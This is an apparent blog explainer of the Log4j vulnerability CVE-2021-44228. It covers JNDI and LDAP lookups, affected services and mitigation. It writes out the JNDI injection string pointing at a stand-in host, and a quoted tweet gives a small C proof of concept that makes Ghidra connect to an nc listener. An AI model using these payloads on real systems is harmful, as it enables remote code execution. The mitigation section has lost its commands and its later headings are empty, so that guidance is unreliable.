Yesterday, a high severity vulnerabilityCVE-2021-44228 was discovered in the popular Java logging library log4jApache Log4j that could lead to remote code execution (RCE).
A few notes
The log4j package uses JNDIJava Naming and Directory Interface . It is a standard API for directory service that allows a Java program to find data (in the form of a Java object) through a directory.
A Java program can use JNDI and LDAP together to find a Java object containing data that it might need. For example, in the standard Java documentation there’s an example that talks to an LDAP server to retrieve attributes from an object. It uses the URL ldap://localhost:389/o=JNDITutorial
to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.
As the tutorial says “If your LDAP server is located on another machine or is using another port, then you need to edit the LDAP URL”. Thus the LDAP server could be running on a different machine and potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to load an object from a server under their control.
But in the case of log4j an attacker can control the LDAP URL by causing log4j to try to write a string like ${jndi:ldap://example.com/a}. If that happens then log4j will connect to the LDAP server at example.com and retrieve the object.
This happens because log4j contains special syntax in the form ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java.
Impact
Many services are vulnerable to this exploit. Cloud services like Amazon, Steam, Apple iCloud, Cloudflare, Twitter etc. and apps like Druid, Minecraft, ElasticSearch, Struts2, Solr have already been found to be vulnerable.
Ghidra’s vulnerable too:
Ghidra's vulnerable to log4j:
— Zhuowei Zhang (@zhuowei) December 10, 2021
__attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
int a = 1;
int main(){}
$ gcc hello.c
$ nc -l 1234
Load into Ghidra; it connects to 127.0.0.1:1234.
Ghidra 10.0.2, macOS OpenJDK Corretto 11.0.4.11.1https://t.co/Qu1psCjtY6
And the gist of it comes down to:
The lesson of Java is that some of the best engineers at the time created a secure byte-code VM and JIT, only for Design-By-Committee to come in and say "maybe someone would want the Logger to load remote code via JNDI and LDAP. Let's add that!".
— postmodern (@postmodern_mod3) December 10, 2021
Mitigation
Upgrading to new version.
If you can’t upgrade, set the property:
JndiLookup
class from the classpath:This command will remove the class from the log4j-core.
Keypoints
The underlying truth behind impact is:
Further Information